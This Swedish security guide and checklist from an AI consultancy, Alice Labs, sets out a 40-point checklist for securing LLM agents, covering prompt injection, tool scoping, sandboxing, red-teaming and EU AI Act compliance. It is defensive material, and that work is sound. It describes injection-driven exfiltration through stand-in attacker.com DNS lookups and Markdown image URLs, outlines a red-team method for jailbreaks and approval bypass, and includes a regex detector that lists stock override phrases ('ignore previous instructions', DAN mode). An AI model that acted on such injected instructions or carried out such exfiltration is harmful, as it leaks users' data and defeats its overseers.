AI-agent säkerhetschecklista för svenska team 2026

TL;DR: Alice Labs 40-punkts-checklista i 60 sekunder

Alice Labs är en Stockholm-headquartered enterprise AI consultancy. Vi har levererat 100+ produktionsimplementationer sedan 2023 av AI-agenter i Norden inom bank, försäkring, life sciences, offentlig sektor, retail och industri. Innan varje go-live kör vi en 40-punkts säkerhetschecklista som mappar mot OWASP Top 10 for LLM Applications, EU AI Act Artikel 15, ISO/IEC 42001 och GDPR Artikel 32.

Kärnbudskapet i den här guiden: en AI-agent i produktion är inte en chatbot. Den skriver till andra system, anropar verktyg och kan trigga verkliga transaktioner utan mänsklig prompt per steg. Det innebär att attack-ytan är dramatiskt bredare än vad traditionell AppSec eller klassisk LLM safety adresserar. Åtta attack-ytor måste försvaras samtidigt: prompt, tool, data, model, identity, supply-chain, runtime och mänsklig oversight.

Använd denna guide som en checklista, inte som en läsövning. Kopiera 40-punkts-listan i sektion 12 in i era release-gates. Bygg red-team-svit i CI. Konfigurera egress-filter innan ni släpper agenten mot produktionstrafik. För en enterprise-genomgång i er miljö, se Alice Labs AI-agent-tjänster.

Vad är AI-agent-säkerhet? Definition och scope

Sammanfattat

AI-agent-säkerhet är säkerhetsdisciplinen kring autonoma LLM-baserade system som resonerar, planerar och anropar verktyg. Den skiljer sig från traditionell AppSec (deterministisk kod) och klassisk LLM safety (modell-output) genom att täcka hela ORCE-loopen och åtta attack-ytor. På svenska används termerna AI-agent-säkerhet, LLM-agent-säkerhet och agentisk AI-säkerhet omväxlande, med OWASP LLM Top-10 som den etablerade taxonomin.

En AI-agent är ett autonomt mjukvarusystem som använder en språkmodell för att resonera, planera och utföra fleretegs-uppgifter genom verktygsanrop. Den kör i en ORCE-loop: observera, resonera, agera, evaluera. Det gör att attack-ytan är kvalitativt annorlunda än för klassisk backend-kod eller för en fristående LLM-chat.

Traditionell AppSec försvarar deterministisk kod: OWASP Top 10 för webbapplikationer (SQL injection, XSS, IDOR, SSRF, auth). Klassisk LLM safety försvarar modellens output: toxicity, bias, hallucination, refusal-bypass. AI-agent-säkerhet är en tredje disciplin som ärver båda och adderar tool-plane, identity-plane och supply-chain-plane. Alla tre disciplinerna krävs i parallell för en produktionsklassad agent.

Scope för denna guide är åtta attack-ytor:

1. Prompt-plane: systempromptar, user-input, indirect injection via retrieval eller external content
2. Tool-plane: function calling, MCP-servrar, plugin-risk, excessive agency
3. Data-plane: RAG-källor, minne, PII, träningsdata, output-läckage
4. Model-plane: modellval, adversarial robusthet, backdoors, model theft
5. Identity-plane: per-user tokens, delegation, blast radius per principal
6. Supply-chain-plane: modeller, dataset, dependencies, MCP-servrar från tredje part
7. Runtime-plane: sandbox, egress, filesystem, process-isolering
8. Human-plane: oversight, overreliance, social engineering av operatörer

Referens-taxonomier: OWASP Top 10 for LLM Applications v1.1 och 2025-uppdateringen, NIST AI Risk Management Framework 1.0 och MITRE ATLAS. Se även vår pillar-guide AI-agenter: Komplett guide för svenska företag 2026 för bredare kontext och AI Agent Security Risks (engelska).

Hotmodell för AI-agenter 2026: 8 attack-ytor

Sammanfattat

AI-agenter i produktion 2026 måste försvaras mot 8 attack-ytor. Prompt-plane (systempromptar och indirect injection), tool-plane (function calling och excessive agency), data-plane (RAG och minne), model-plane (adversarial och model theft), identity-plane (per-user tokens), supply-chain (tredjepartsmodeller och MCP), runtime (sandbox och egress) och human (oversight och overreliance). Fältdata från 100+ implementationer visar att tool-plane och runtime är mest underskattade.

Fältdata från Alice Labs 100+ produktionsimplementationer sedan 2023 visar en konsekvent mönster: team fokuserar överdrivet på prompt-plane och missar tool-plane och runtime-plane, som är där de flesta incidenter faktiskt landar. Här är hotmodellen per yta med typiska tekniker och svensk exemplifiering:

Källa: Alice Labs incident- och near-miss-databas 2023-2026, korsjämförd med OWASP LLM Top-10 v1.1 och MITRE ATLAS.

Genomgående lärdom: en agent är bara så säker som sitt svagaste verktyg. En perfekt promptfilter kan inte kompensera för ett SQL-tool utan parameterisering eller ett shell-tool utan whitelist. Attack-ytorna måste hanteras samtidigt, inte sekventiellt.

OWASP Top 10 for LLM Applications mappat mot agent-kontext

Sammanfattat

OWASP Top 10 for LLM Applications v1.1 är den mest etablerade LLM-säkerhetstaxonomin. Samtliga 10 risker mappar direkt mot AI-agent-kontext, men konsekvenserna skiljer sig dramatiskt eftersom agenter kan agera på output. LLM01 Prompt Injection och LLM08 Excessive Agency är de två med störst blast radius i agent-scenarier.

OWASP Top 10 for LLM Applications v1.1 (senast uppdaterad 2025) är den de facto-standard svensk enterprise refererar mot 2026. Här är hela listan mappad mot agent-kontext med konkret Alice Labs-motåtgärd per risk:

För en engelsk deep-dive per risk med kodexempel, se AI Agent Security Risks. För plattform-nivåberedskap se Production AI Agents Deployment Guide 2026.

Prompt injection: layered defense i 4 lager

Sammanfattat

Prompt injection kan inte lösas med en enskild filter. Alice Labs kräver fyra lager i produktion: (1) input-filter mot uppenbara jailbreak-mönster, (2) tool-scoping så att agenten inte ens har verktygen som behövs för att göra skada, (3) dual-LLM-mönster där en separat modell validerar planerade actions, och (4) output-validering före exekvering. Spotlighting (encoding av opålitlig input) är ett femte lager när external content läses.

Prompt injection har rankats som #1 på OWASP LLM Top-10 sedan v1.0 och kvarstår som #1 i v1.1 (2025). Anledningen: det finns ingen semantisk gräns mellan systempromptar och användarinput i en LLM. Alla ord är samma text för modellen. Detta måste kompenseras arkitektoniskt, inte prompt-tekniskt.

Alice Labs försvarsstack i produktion:

1. Input-filter. Reguljära uttryck, heuristik och en liten classifier (t.ex. LLM-guard eller Llama Guard) som blockerar uppenbara jailbreak-suffix, instruktions-override och kodinnehåll i user-input.
2. Tool-scoping. Ge agenten enbart de verktyg som absolut krävs för use-caset. En customer-support-agent behöver inte kunna exekvera SQL. En SDR-agent behöver inte kunna skicka pengar.
3. Dual-LLM-mönster. Planerade actions skickas till en separat modell (ofta ett mindre snabbare Sonnet-tier) för safety-validering innan de exekveras. Denna modell har inte tillgång till user-input, bara till planned-action-JSON.
4. Output-validering. Efter varje tool-call verifieras output mot schema, PII-filter och business-rules. Anomalier triggar human review.
5. Spotlighting. När external content (e-post, dokument, webbsidor) läses in i kontexten, wrappas det i tydliga separator-taggar och encodas (till exempel base64 eller unikt prefixat) så att modellen tydligt kan urskilja opålitlig text från system-instruktioner.

Konkret exempel på guardrail-wrapper i Python (pseudokod):

# guardrails/wrapper.py
async def safe_agent_call(user_input: str, agent, tools):
    # 1. Input filter (blockera uppenbar injection)
    if injection_score(user_input) > 0.85:
        raise InjectionBlocked(user_input)

    # 2. Kör agent med tool-scope
    plan = await agent.plan(user_input, tools=tools)

    # 3. Dual-LLM validering av planned actions
    verdict = await safety_llm.evaluate(plan)
    if verdict.risk == "high":
        return await human_review(plan)

    # 4. Exekvera med per-tool output-validering
    result = await agent.execute(plan, on_output=validate_output)

    # 5. Immutable audit log (Artikel 12)
    await audit_log.append(user_input, plan, result)
    return result

För dokumenterade prompt-injection-tekniker och deras motåtgärder, se OWASP LLM Top-10 och NIST AI RMF playbooks. Alice Labs kör dessutom kvartalsvis red-team med PyRIT och promptfoo (se sektion 9).

Tool-abuse-prevention: least-privilege function calling

Sammanfattat

Tool-abuse är den mest underskattade agent-risken. Att ge en agent ett brett verktyg (exekvera SQL, kör shell, publicera artikel, refund kundorder) räcker för att en enda lyckad prompt injection ska bli katastrofal. Motåtgärderna: least-privilege per verktyg, tool allow-listing per roll, rate limits, blast-radius-bounds, dry-run-läge och obligatoriska godkännanden på destructive actions.

Excessive agency (LLM08) är den attack-yta där Alice Labs ser flest near-misses i produktion. Ett typiskt anti-mönster: ett team ger agenten ett generiskt execute_sql-verktyg med read-write på hela databasen istället för list_customer_orders(customer_id) och get_order_status(order_id). Första prompt injection sedan är game over.

Alice Labs standardkrav på verktyg för produktions-agenter:

• Least-privilege scope. Ett verktyg gör en sak. Aldrig execute_arbitrary_code eller run_sql. Alltid create_ticket(customer_id, subject, body) eller update_status(ticket_id, status).
• Tool allow-list per roll. Ingen agent har alla verktyg. Verktyg tilldelas per use-case och per operatörs-roll via explicit config, inte via runtime-negotiation.
• Rate limits per tool. Både total per timme (skydd mot loop-abuse) och per målresurs (skydd mot brute-force enumeration).
• Blast-radius-bounds. Maxantal skrivningar per konversation. Maxantal e-post per session. Maxbelopp per transaction. Överskrids gränsen krävs mänsklig approval.
• Dry-run mode. Alla destructive actions kan köras i dry-run som returnerar vad som skulle hända utan att göra det. Används i evals och i incident debugging.
• Obligatorisk approval på destructive. DELETE, DROP, TRANSFER, REFUND, PUBLISH, EMAIL_EXTERNAL kräver human approval oavsett confidence score.

Kodexempel för tool allow-list config:

# tools/allowlist.yaml
customer_support_agent:
  role: L1_support
  allowed_tools:
    - name: get_customer_orders
      scope: read
      rate_limit: 60/min
    - name: create_return_ticket
      scope: write
      max_per_session: 5
      requires_approval: false
    - name: issue_refund
      scope: write
      max_amount_sek: 5000
      requires_approval: true
      dry_run_available: true
  denied_tools:
    - execute_sql
    - shell_exec
    - send_external_email

Se även vår engelska guide Production AI Agents Deployment Guide 2026 för fullständig rollout-playbook.

Data exfiltration: vektorer och egress-kontroll

Sammanfattat

Data-exfiltration från en agent sker sällan genom modellens output direkt. Vanligare vektorer: indirect prompt injection som instruerar agenten att göra DNS-lookup med extraherad data, image URLs som läcker information via query string, bild-steganografi och tool-abuse där en legitim funktion missbrukas för exfil. Motåtgärd: egress-filter på nätverkslagret, per-domän allow-list för external tools, och PII-scanner på all output.

Vanliga svenska missförstånd: att exfiltration bara handlar om att modellen skriver ut PII i chatten. I själva verket är de farligaste vektorerna indirekta och går via verktygen, inte modellen. Fyra vektorer att försvara mot:

1. DNS-exfil via tool. Indirect prompt injection instruerar agenten att göra en DNS-lookup mot något liknande <extracted-data>.attacker.com. Om egress-DNS inte är filtrerad läcker data via passiva DNS-loggar.
2. Image URL exfil. Agenten instrueras att rendera en Markdown-bild med URL https://attacker.com/log?data=<pii>. Klienten hämtar bilden, GET-parametrar läcker data.
3. Bild-steganografi. Multimodala agenter kan instrueras att generera eller citera bilder med gömd data i pixelvärden. Sällsynt men existerar in the wild.
4. Tool-abuse-exfil. Legitim funktion missbrukas: skicka "kundfeedback" e-post till attackerkontroll-adress, uppdatera CRM-fält med extraherad data som senare läses ut via annan legitim väg.

Alice Labs standardkontroller mot exfiltration:

• Egress-filter på nätverkslagret. Agent-sandbox tillåter enbart trafik till en per-agent domän-allow-list.
• DNS-filter. Egen DNS-resolver som blockerar alla externa lookup förutom explicit tillåtna domäner.
• PII-scanner på all agent-output med Microsoft Presidio eller motsvarande. Fynd triggar block eller redaction.
• Content-security-policy i UI:et som blockerar external image rendering utom från vitlistade CDN.
• Audit logs per tool-call med domän och payload-storlek, för anomali-detektering.

En särskild svensk aspekt: om exfiltrationen involverar personuppgifter är detta en GDPR-incident. Se sektion 10 för incident response och IMY-anmälan.

Secret-handling och sandbox-design

Sammanfattat

Secrets ska aldrig ligga i prompt eller systemprompt. Alice Labs standard: per-user token-exchange med kortlivade credentials, HashiCorp Vault eller molnleverantörens Key Vault för lagring, och PII-detektering på all input och output. Sandbox-design: containerization med per-invocation-isolering, gVisor eller Firecracker för hard isolation, network policies default-deny och filesystem readonly som default.

Två fundament som ofta glöms i tidiga PoC:er men är icke-förhandlingsbara i produktion.

Secret-handling. Aldrig secrets i prompt. Aldrig secrets i systemprompt. Aldrig secrets i tool-schema. Alice Labs standard:

• Per-user token-exchange: agenten agerar som slutanvändaren via OAuth2 client-credential exchange, inte som en central service-account.
• Kortlivade credentials: 5 till 15 minuters TTL, automatisk rotation.
• Central secret store: HashiCorp Vault, AWS Secrets Manager, Azure Key Vault eller Google Secret Manager. Verktyget hämtar just-in-time.
• PII-detektering på all input och output med Microsoft Presidio, spaCy Swedish-model eller motsvarande. Personnummer, telefonnummer, e-post, IBAN identifieras och redactas eller blockeras.

Sandbox-design. Alla agenter som kör kod eller anropar shell körs i isolerad sandbox. Alice Labs standardstack:

• Containerization med Docker eller Podman som baseline.
• gVisor eller Firecracker för hard-isolation när shell- eller code-exec-verktyg finns. gVisor för snabb sandbox, Firecracker för micro-VM när full kernel-isolation krävs.
• Per-invocation-isolering: ny container per konversation eller per request, ingen shared state.
• Network policies default-deny: inget egress utan explicit domän-allow-list.
• Filesystem readonly som default, med per-request tmpfs som writable om nödvändigt.

Se AI-agent-observability och evals (svenska) för hur audit logs från sandbox mappar mot EU AI Act Artikel 12 och Model Context Protocol på svenska för hur MCP-servrar körs säkert.

Red-team-metod: 5 faser med PyRIT, Garak och promptfoo

Sammanfattat

Alice Labs red-team-metod i 5 faser: (1) recon (kartlägg agent-yta, verktyg, systempromptar), (2) prompt-inject (direct + indirect + jailbreak), (3) tool-abuse (försök använda verktyg utanför scope), (4) exfil (försök läcka data via DNS, image URL, tool-abuse), (5) escalate (försök få bredare privilegier eller kombinera vektorer). Verktyg: PyRIT (Microsoft), Garak (Leon Derczynski), promptfoo för automatiserade suits i CI, manuellt red-team kvartalsvis.

Red-teaming är obligatoriskt i Alice Labs pre-launch-gate. Det räcker inte att bygga försvar, ni måste också aktivt attackera egen agent och verifiera att försvaren fungerar. Vår 5-fas-metod:

1. Fas 1: Recon. Kartlägg agent-yta: exponerade endpoints, verktyg, systempromptar (om möjligt), MCP-servrar, modell, kontext-fönster, rate-limit-beteenden.
2. Fas 2: Prompt injection. Direct injection, indirect via retrieval, jailbreak-suffix, roll-svap, encoding-tricks (base64, unicode-homoglyfs, zero-width characters).
3. Fas 3: Tool-abuse. Försök använda verktyg utanför scope. Testa gränser: max amount, max per session, dry-run-bypass, parameter-injection.
4. Fas 4: Exfiltration. DNS-exfil, image URL, tool-abuse-exfil, memory-exfil mellan sessioner för samma user och över user-gränser.
5. Fas 5: Escalation. Kombinera vektorer, försök få bredare privilegier, testa om approval-bypass finns, försök få agenten att modifiera egen config eller allow-list.

Verktyg som Alice Labs använder i produktions-pipeline:

• PyRIT (Microsoft): open-source-ramverk för automatiserade LLM-red-team-attacker. Bäst för att skala prompt-injection-varianter.
• Garak (Leon Derczynski, GitHub): vulnerability scanner för LLMs. Bäst för broad-spectrum probing av jailbreak, encoding, refusal-bypass.
• promptfoo: eval-och-red-team-suit som körs i CI för varje release. Bäst för regression-testning och pinning av kända attack-mönster.

Manuell red-team-övning kvartalsvis av dedikerat team eller extern konsult. Automatiserad red-team i CI vid varje deploy. Enligt Alice Labs interna standard ska varje agent ha en eval-suit med minst 200 test-cases varav 50 red-team-cases innan produktion.

Incident response för AI-agent-fel: kill switch, quarantine, IMY-anmälan

Sammanfattat

Incident response för AI-agenter kräver samma disciplin som klassisk IR plus tre nya kontroller: kill switch (stänger agenten globalt inom 60 sekunder), quarantine (isolerar drabbade sessions och verktygsanrop för forensics) och IMY-anmälan inom 72 timmar om GDPR-personuppgifter läckt. Forensics bygger på immutable audit logs från EU AI Act Artikel 12. Post-mortem ska mappas mot root cause per attack-yta.

En agent-incident har större blast radius än en klassisk applikations-incident eftersom agenten agerar på fler system samtidigt och kan ha triggat verkliga transaktioner. Alice Labs standard-runbook:

1. Detektera. Anomali-larm på tool-anrop, audit-log-mönster, PII-scanner-hits eller user-rapporterade fel.
2. Kill switch. En enda config-flagga stänger av agenten globalt inom 60 sekunder. Trafik faller tillbaka på fallback (mänsklig handläggare, tidigare statisk workflow).
3. Quarantine. Alla drabbade sessions och deras kontext-fönster, verktygsanrop och output snapshottas till isolerad forensics-store. Ingen data raderas förrän post-mortem är klar.
4. Notify. Berörda användare informeras enligt GDPR Artikel 34 om deras personuppgifter är involverade. IMY-anmälan inom 72 timmar (GDPR Artikel 33) vid personuppgiftsincident.
5. Forensics. Rekonstruera händelsen från immutable audit logs (Artikel 12). Identifiera attack-yta, missad kontroll och root cause.
6. Remediate. Fixa root cause på tool-config, systemprompt, filter, sandbox eller supply-chain. Skriv regression-test för red-team-suit.
7. Post-mortem. Blameless post-mortem inom 5 arbetsdagar. Uppdatera runbooks, checklista och evals.

Alice Labs kör dessutom en post-action-review efter varje incident enligt intern standard: quality gate scan, fix root cause, uppdatera pipeline och sedan nästa batch. Se AI-agent-implementationsstrategi (svenska) för hur incident-lärdomar återmatas i playbooken.

Compliance-mapping: EU AI Act, ISO/IEC 42001, NIS2, GDPR

Sammanfattat

AI-agent-säkerhet mappar direkt mot fyra regelverk i Sverige och EU 2026: EU AI Act Artikel 15 (cybersäkerhet, fullt tillämplig 2 augusti 2026), ISO/IEC 42001:2023 (AI management system, den första internationella standarden), NIS2 för kritisk infrastruktur och GDPR Artikel 32 för säkerhet av personuppgifter. IMY är svensk tillsyn för AI Act och GDPR.

Alice Labs 40-punkts-checklista är designad för att en enterprise-agent ska klara fyra parallella regelverk med samma kontroller:

Svensk tillsyn: IMY (Integritetsskyddsmyndigheten) är utpekad tillsynsmyndighet för EU AI Act enligt regeringens proposition från 2025 samt för GDPR. MSB har rollen för NIS2. Se EU AI Act 2026: checklista för svenska företag för fördjupning.

ISO/IEC 42001 är den första internationella standarden för AI management systems. Certifiering är inte obligatorisk 2026 men rekommenderas för enterprise som säljer AI-agenter till reglerade sektorer (bank, försäkring, sjukvård, offentlig sektor). Standarden mappar väl mot Artikel 9 (riskhantering) i EU AI Act.

Alice Labs 40-punkts-checklista och kod-exempel för säkerhetslager

Sammanfattat

Alice Labs 40-punkts-checklista grupperar kontrollerna i 8 kategorier med 5 items var: (A) Prompt & Input, (B) Tool & function calling, (C) Data & PII, (D) Identity & auth, (E) Sandbox & runtime, (F) Logging & audit, (G) Testing & red-team, (H) Governance & response. Varje punkt är ett release-gate. Denna checklista är validerad över 100+ produktionsimplementationer sedan 2023 i Norden.

Nedan är Alice Labs 40-punkts-checklista, härledd från 100+ produktionsimplementationer sedan 2023 och kalibrerad mot OWASP LLM Top-10, EU AI Act Artikel 15, ISO/IEC 42001 och GDPR. Använd den som release-gate innan varje go-live.

A. Prompt & Input security (5)

1. Input-filter aktiverat med score-tröskel för injection-detektering
2. Spotlighting av external content (e-post, dokument, webbsidor, filnamn)
3. Systempromptar versionerade och signaturverifierade i deploy-pipeline
4. Kontext-fönster har max-size och trunkeringsstrategi mot context-stuffing
5. Encoding-attack-detektering (base64, unicode-homoglyfs, zero-width)

B. Tool & function calling (5)

1. Least-privilege scope per verktyg, aldrig execute_arbitrary_code
2. Tool allow-list per roll i explicit config, inte runtime-negotiation
3. Rate limits per tool (per timme och per målresurs)
4. Blast-radius-bounds (max writes per session, max amount per transaction)
5. Obligatorisk human approval på destructive actions (DELETE, TRANSFER, PUBLISH)

C. Data & PII (5)

1. PII-scanner på all input och output (Microsoft Presidio eller motsvarande)
2. Per-user minne-isolering, inget cross-user memory-läckage
3. RAG-källor signaturverifierade och provenance-taggade
4. PII-redaktion i audit logs (behåll referens, redigera själva datat)
5. Data retention-policy per konversation och per minne-typ

D. Identity & auth (5)

1. Per-user token exchange via OAuth2, ingen shared service-account
2. Kortlivade credentials med 5-15 minuters TTL och automatisk rotation
3. Central secret store (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault)
4. Tool-level authorization utöver session-level auth
5. Delegation-chain loggad per action

E. Sandbox & runtime (5)

1. Per-invocation container-isolering, ingen shared state
2. gVisor eller Firecracker för hard isolation vid shell- eller code-exec
3. Network policy default-deny med per-agent domän-allow-list
4. Filesystem readonly, tmpfs per-request om writable krävs
5. Resource-limits (CPU, memory, wall-clock) per invocation

F. Logging & audit (5)

1. Immutable audit logs per agent-action (EU AI Act Artikel 12)
2. Structured logging med correlation-id genom hela ORCE-loopen
3. Retention 6 månader min för högrisksystem, PII redacted
4. Real-time anomali-detektering på tool-anrop och egress-mönster
5. SIEM-integration med larm-routing till on-call

G. Testing & red-team (5)

1. Eval-suit med minst 200 test-cases per use-case, varav 50 red-team-cases
2. PyRIT eller Garak-baserad automatiserad red-team i CI vid varje deploy
3. promptfoo regression-suit pinnad mot kända attack-mönster
4. Kvartalsvis manuell red-team-övning av externt team
5. Chaos-testing: verktyg tas ner slumpmässigt, agent ska failoverera säkert

H. Governance & response (5)

1. Kill switch: stäng agenten globalt inom 60 sekunder
2. Runbook för incident response inklusive quarantine-procedur
3. IMY-anmälan-template förberedd för GDPR-incident inom 72 timmar
4. Deployer-dokumentation enligt EU AI Act Artikel 26
5. Kvartalsvis compliance-review mot OWASP LLM Top-10, EU AI Act, ISO/IEC 42001

Konkret kod-exempel för tre säkerhetslager. Först en injection-detector som runnar innan agenten:

# security/injection_detector.py
import re
from typing import Literal

JAILBREAK_PATTERNS = [
    r"ignore (all )?(previous|above) instructions",
    r"you are now (a )?[A-Z]{3,}",
    r"system prompt:",
    r"</?system>",
    r"do anything now|DAN mode",
]

def injection_score(text: str) -> float:
    hits = sum(1 for p in JAILBREAK_PATTERNS if re.search(p, text, re.I))
    length_penalty = min(len(text) / 10000, 0.3)
    return min(hits * 0.25 + length_penalty, 1.0)

def gate(text: str) -> Literal["allow", "review", "block"]:
    s = injection_score(text)
    if s > 0.85: return "block"
    if s > 0.4:  return "review"
    return "allow"

Sedan en tool-wrapper som håller allow-list, blast-radius och audit-log per tool-call:

# security/tool_wrapper.py
class SafeTool:
    def __init__(self, tool, config, audit_log):
        self.tool = tool
        self.config = config          # rate_limit, max_per_session, requires_approval
        self.audit = audit_log
        self.session_calls = 0

    async def call(self, principal, args):
        if self.tool.name in self.config.denied:
            raise ToolNotAllowed(self.tool.name)
        if self.session_calls >= self.config.max_per_session:
            raise BlastRadiusExceeded(self.tool.name)
        if self.config.requires_approval:
            approval = await request_human_approval(principal, self.tool.name, args)
            if not approval.granted: raise ApprovalDenied()
        result = await self.tool.execute(args)
        self.session_calls += 1
        await self.audit.append(principal, self.tool.name, args, result)
        return result

Slutligen ett guardrail-wrap runt hela agent-anropet som binder ihop alla lager:

# security/guardrail.py
async def guarded_agent(user_input, principal, agent, tools, safety_llm, audit):
    verdict = gate(user_input)
    if verdict == "block":
        return {"error": "input blocked by injection filter"}
    plan = await agent.plan(user_input, tools=tools)
    safety = await safety_llm.evaluate(plan)
    if safety.risk == "high":
        return await escalate_to_human(plan, principal)
    result = await agent.execute(plan)
    await audit.append(principal, user_input, plan, result)
    return result

Vill ni att Alice Labs kör 40-punkts-checklistan mot er befintliga agent eller bygger den in i en ny agent från dag 1? Boka en säkerhetsgenomgång via Alice Labs AI-agent-tjänster.